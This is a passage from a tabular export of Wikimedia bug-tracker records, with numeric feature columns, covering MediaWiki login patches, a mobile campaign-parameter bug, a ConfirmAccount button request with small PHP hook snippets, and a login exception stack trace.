https://gerrit.wikimedia.org/r/87918",,,1384914151,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3076923076923075,1.0,"Change 87918 merged by Isarra:
Add patch for 1.21.2

GERRIT_URL"
270854,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 87918 had a related patch set uploaded by Legoktm:
Add patch for 1.21.2

https://gerrit.wikimedia.org/r/87918",,,1384913873,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9444444444444444,"Change 87918 had a related patch set uploaded by Legoktm:
Add patch for 1.21.2

GERRIT_URL"
57474,campaign parameter not passed in CTAs when user clicks login,"It only seems to be passed when you click sign up. What is stranger is if you inspect the URL of the login link it is there - it somehow gets stripped on click ing it.

Expected:
Whilst logged out click on edit button
CTA shows with login and sign up buttons
Click login
Address bar URL has campaign=mobile_editPageActionCta in it

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1381255620,1381446243.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-fqpx3hoskia4wpi3onwj,task_description,declined,True,c2,3,False,False,True,5,True,0.0,0.0,0.0,1.0,0.0,3.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,11.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,6.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,12.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,11.0,7.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,3.898876404494382,0.651685393258427,"It only seems to be passed when you click sign up. What is stranger is if you inspect the URL of the login link it is there - it somehow gets stripped on click ing it.

Expected:
Whilst logged out click on edit button
CTA shows with login and sign up buttons
Click login
Address bar URL has campaign=mobile_editPageActionCta in it

--------------------------
**Version**: unspecified
**Severity**: normal"
260715,campaign parameter not passed in CTAs when user clicks login,Cannot replicate any more. Odd.,,,1381446243,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-fqpx3hoskia4wpi3onwj,task_subcomment,,True,c2,3,False,,,6,True,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.375,0.875,Cannot replicate any more. Odd.
260712,campaign parameter not passed in CTAs when user clicks login,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1295",,,1381255700,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fqpx3hoskia4wpi3onwj,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
57468,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Hi please update login and create account buttons because the layout and look of them was changed in 1.20 when they separated them into create account and then login so please update the looks and the create account could be redirect to special request account. I am running Mediawiki 1.22 Wmf 20. I was told to file a bug here at https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Create_account_/_login_in_extension:confirmaccount

--------------------------
**Version**: unspecified
**Severity**: trivial
**Whiteboard**: aklapper-moreinfo",Needs Triage,90.0,1381247520,1398183479.0,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,False,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_description,declined,True,c2,3,False,False,False,5,True,0.0,0.0,0.0,2.0,0.0,5.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,8.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,10.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,5.0,8.0,2.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,4.119565217391305,0.6413043478260869,"Hi please update login and create account buttons because the layout and look of them was changed in 1.20 when they separated them into create account and then login so please update the looks and the create account could be redirect to special request account. I am running Mediawiki 1.22 Wmf 20. I was told to file a bug here at URL

--------------------------
**Version**: unspecified
**Severity**: trivial
**Whiteboard**: aklapper-moreinfo"
260291,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","(In reply to paladox2015 from comment #9)
> hi I am trying to use the uploader but I doint know how to use it I have a
> mediawiki account but it says that it is not a unified diff patch

Could you please use proper punctuation as it makes text way more readable?
See https://en.wikipedia.org/wiki/Punctuation for the general concept.

""man diff"" explains how to create a unified patch, and the stuff you uploaded here is not a patch, see https://en.wikipedia.org/wiki/Patch_%28Unix%29
(Discussing this is out of scope for this specific bug report, and this bug report is closed anyway.)",,,1400427525,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,True,,,37,True,0.0,0.0,0.0,1.0,1.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,1.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,3.0,9.0,1.0,2.0,8.0,0.0,0.0,0.0,1.0,5.0,1.0,1.0,0.0,3.0,10.0,3.0,1.0,2.0,0.0,3.0,0.0,1.0,2.0,0.0,1.0,1.0,0.0,0.0,3.63953488372093,0.7093023255813954,"(In reply to paladox2015 from comment #9)
QUOTE
QUOTE

Could you please use proper punctuation as it makes text way more readable?
See URL for the general concept.

""man diff"" explains how to create a unified patch, and the stuff you uploaded here is not a patch, see URL
(Discussing this is out of scope for this specific bug report, and this bug report is closed anyway.)"
260284,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Created attachment 15429
ingor the 1st patch this is the updated 1st patch

**Attached**: {F12035}",,,1400414292,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,37,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.75,"Created attachment 15429
ingor the 1st patch this is the updated 1st patch

**Attached**: {F12035}"
260276,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Created attachment 15428
2nd patch

this is the 2nd patch read details for the files located

**Attached**: {F12034}",,,1400414048,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,37,True,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.642857142857143,0.75,"Created attachment 15428
2nd patch

this is the 2nd patch read details for the files located

**Attached**: {F12034}"
260268,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Created attachment 15427
this is the  first code change

//attachment file_55468.txt ignored as obsolete//",,,1400413936,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,37,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.588235294117647,1.0,"Created attachment 15427
this is the  first code change

//attachment file_55468.txt ignored as obsolete//"
260260,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",hi I am trying to use the uploader but I doint know how to use it I have a mediawiki account but it says that it is not a unified diff patch,,,1400413837,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,37,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,9.0,6.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,19.0,9.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,3.40625,0.75,hi I am trying to use the uploader but I doint know how to use it I have a mediawiki account but it says that it is not a unified diff patch
260253,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",Ok thanks.,,,1400412095,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Ok thanks.
260250,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","You are welcome to use Developer access
  https://www.mediawiki.org/wiki/Developer_access
to submit this as a patch (Git branch) directly into Gerrit:
  https://www.mediawiki.org/wiki/Git/Tutorial

Putting your branch in Git makes it easier to review it quickly. If you don't want to set up Git/Gerrit, you can also use https://tools.wmflabs.org/gerrit-patch-uploader/",,,1400337901,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,True,,,37,True,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,16.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,21.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,16.0,9.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.491228070175439,0.7719298245614035,"You are welcome to use Developer access
  URL
to submit this as a patch (Git branch) directly into Gerrit:
  URL

Putting your branch in Git makes it easier to review it quickly. If you don't want to set up Git/Gerrit, you can also use URL"
260245,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","hi please add the following to this https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FConfirmAccount/8371f282499d2f715a56ed18b6a9fa0b0e8e3e8b/frontend%2FConfirmAccountUI.hooks.php please

the link is for request account and would be next to login 

$wgHooks['PersonalUrls'][] = 'onPersonalUrls';


function onPersonalUrls( array &$personal_urls, Title $title, SkinTemplate $skin  ) {
    // Add a link to Special:RequestAccount if a link exists for login
    if ( isset( $personal_urls['login'] ) || isset( $personal_urls['anonlogin'] ) ) {
            $personal_urls['createaccount'] = array(
                'text' => wfMessage( 'requestaccount' )->text(),
                'href' => SpecialPage::getTitleFor( 'RequestAccount' )->getFullURL()
            );
    }
    return true;
}

and please also change this code in that link it will change the name of link from login/create account to login 


   public static function setRequestLoginLinks( array &$personal_urls, &$title ) {
 

        if ( isset( $personal_urls['anonlogin'] ) ) {
 

            $personal_urls['anonlogin']['text'] = wfMessage( 'login' )->escaped();
 

        } elseif ( isset( $personal_urls['login'] ) ) {
 

            $personal_urls['login']['text'] = wfMessage( 'login' )->escaped();
 

        }
 

        return true;
 

    }",,,1400335533,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,37,True,0.0,0.0,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,0.0,1.0,0.3333333333333333,8.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,16.666666666666668,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,2.6666666666666665,1.0,1.6666666666666667,2.6666666666666665,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.3333333333333333,4.0,4.0,0.0,8.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.3333333333333333,4.3580246913580245,0.5596707818930041,"hi please add the following to this URL please

the link is for request account and would be next to login 

$wgHooks['PersonalUrls'][] = 'onPersonalUrls';


function onPersonalUrls( array &$personal_urls, Title $title, SkinTemplate $skin  ) {
    // Add a link to Special:RequestAccount if a link exists for login
    if ( isset( $personal_urls['login'] ) || isset( $personal_urls['anonlogin'] ) ) {
            $personal_urls['createaccount'] = array(
                'text' => wfMessage( 'requestaccount' )->text(),
                'href' => SpecialPage::getTitleFor( 'RequestAccount' )->getFullURL()
            );
    }
    return true;
}

and please also change this code in that link it will change the name of link from login/create account to login 


   public static function setRequestLoginLinks( array &$personal_urls, &$title ) {
 

        if ( isset( $personal_urls['anonlogin'] ) ) {
 

            $personal_urls['anonlogin']['text'] = wfMessage( 'login' )->escaped();
 

        } elseif ( isset( $personal_urls['login'] ) ) {
 

            $personal_urls['login']['text'] = wfMessage( 'login' )->escaped();
 

        }
 

        return true;
 

    }"
260240,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","(In reply to paladox2015 from comment #4)
> Hi This is a feature request.

Comment 1 had open requests. Anyway, this ticket is closed now anyway.",,,1398232755,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,True,,,34,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.642857142857143,0.9642857142857143,"(In reply to paladox2015 from comment #4)
QUOTE

Comment 1 had open requests. Anyway, this ticket is closed now anyway."
260235,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",Hi This is a feature request.,,,1398183254,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,33,True,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,29.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,Hi This is a feature request.
260230,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Unfortunately closing this report as no further information has been provided.

paladox2015: Please feel free to reopen this report if you can provide the information asked for in comment 1 and if this still happens. Thanks!",,,1398055417,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,True,,,33,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,5.0,2.0,12.0,0.0,0.0,2.0,0.0,7.0,2.0,2.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.634146341463414,0.8536585365853658,"Unfortunately closing this report as no further information has been provided.

paladox2015: Please feel free to reopen this report if you can provide the information asked for in comment 1 and if this still happens. Thanks!"
260225,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",OK,,,1381518702,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,OK
260220,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Please stop setting ""blocker"" severity for all of your bug reports. The meaning of blocker is defined here: https://www.mediawiki.org/wiki/Bugzilla/Fields#importance . This is obviously not a blocker at all.

For the bug report itself, please provide a screenshot which icons you refer to.",,,1381263990,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,True,,,5,True,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,4.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,6.0,12.0,0.0,0.0,4.0,0.0,6.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,3.9,0.78,"Please stop setting ""blocker"" severity for all of your bug reports. The meaning of blocker is defined here: URL . This is obviously not a blocker at all.

For the bug report itself, please provide a screenshot which icons you refer to."
57379,Watch CTA on UserLogin?,"2013-10-06 12:01:48 mw1053 enwiki: [7b14de3f] /w/index.php?title=Special:UserLogin&action=submitlogin&type=signup&returnto=Special:UserLogin&returntoquery=article_action%3Dwatch   Exception from line 109 of /usr/local/apache/common-local/php-1.22wmf19/includes/WikiPage.php: Invalid or virtual namespace -1 given.
#0 /usr/local/apache/common-local/php-1.22wmf19/includes/actions/WatchAction.php(124): WikiPage::factory(Object(Title))
#1 /usr/local/apache/common-local/php-1.22wmf19/extensions/MobileFrontend/includes/MobileFrontend.hooks.php(427): WatchAction::doWatch(Object(Title), Object(User))
#2 (): MobileFrontendHooks::onUserLoginComplete(Object(User), '<!-- do CentralAuth redirect -->')
#3 /usr/local/apache/common-local/php-1.22wmf19/includes/Hooks.php(199): call_user_func_array('MobileFrontendHooks::onUserLoginComplete', Array)
#4 /usr/local/apache/common-local/php-1.22wmf19/includes/GlobalFunctions.php(3898): Hooks::run('UserLoginComplete', Array)
#5 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(926): wfRunHooks('UserLoginComplete', Array)
#6 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(313): LoginForm->successfulCreation()
#7 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(200): LoginForm->addNewAccount()
#8 /usr/local/apache/common-local/php-1.22wmf19/extensions/MobileFrontend/includes/specials/SpecialMobileUserlogin.php(15): LoginForm->execute(NULL)
#9 /usr/local/apache/common-local/php-1.22wmf19/includes/SpecialPage.php(631): SpecialMobileUserlogin->execute(NULL)
#10 /usr/local/apache/common-local/php-1.22wmf19/includes/SpecialPageFactory.php(489): SpecialPage->run(NULL)
#11 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#12 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(591): MediaWiki->performRequest()
#13 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(460): MediaWiki->main()
#14 /usr/local/apache/common-local/php-1.22wmf19/index.php(55): MediaWiki->run()
#15 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apache/common-local/php-1.22wmf19/index.php')
#16 {main}

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1381089840,1381522464.0,PHID-USER-aasrweh54ew7py3agvg2,False,,False,PHID-TASK-cpvfvjugkz42a3j3tbvz,task_description,resolved,True,c2,3,False,False,True,5,True,0.0,0.0,0.0,0.0,0.0,11.8,0.0,0.0,0.0,0.0,0.0,1.2,0.0,0.0,0.0,0.0,0.0,0.2,0.4,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.6,0.0,0.2,0.0,0.0,0.0,0.2,3.4,0.2,0.0,7.8,0.0,0.0,0.4,6.4,0.0,1.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.2,4.877945550217342,0.38810340883093114,"2013-10-06 12:01:48 mw1053 enwiki: [7b14de3f] /w/index.php?title=Special:UserLogin&action=submitlogin&type=signup&returnto=Special:UserLogin&returntoquery=article_action%3Dwatch   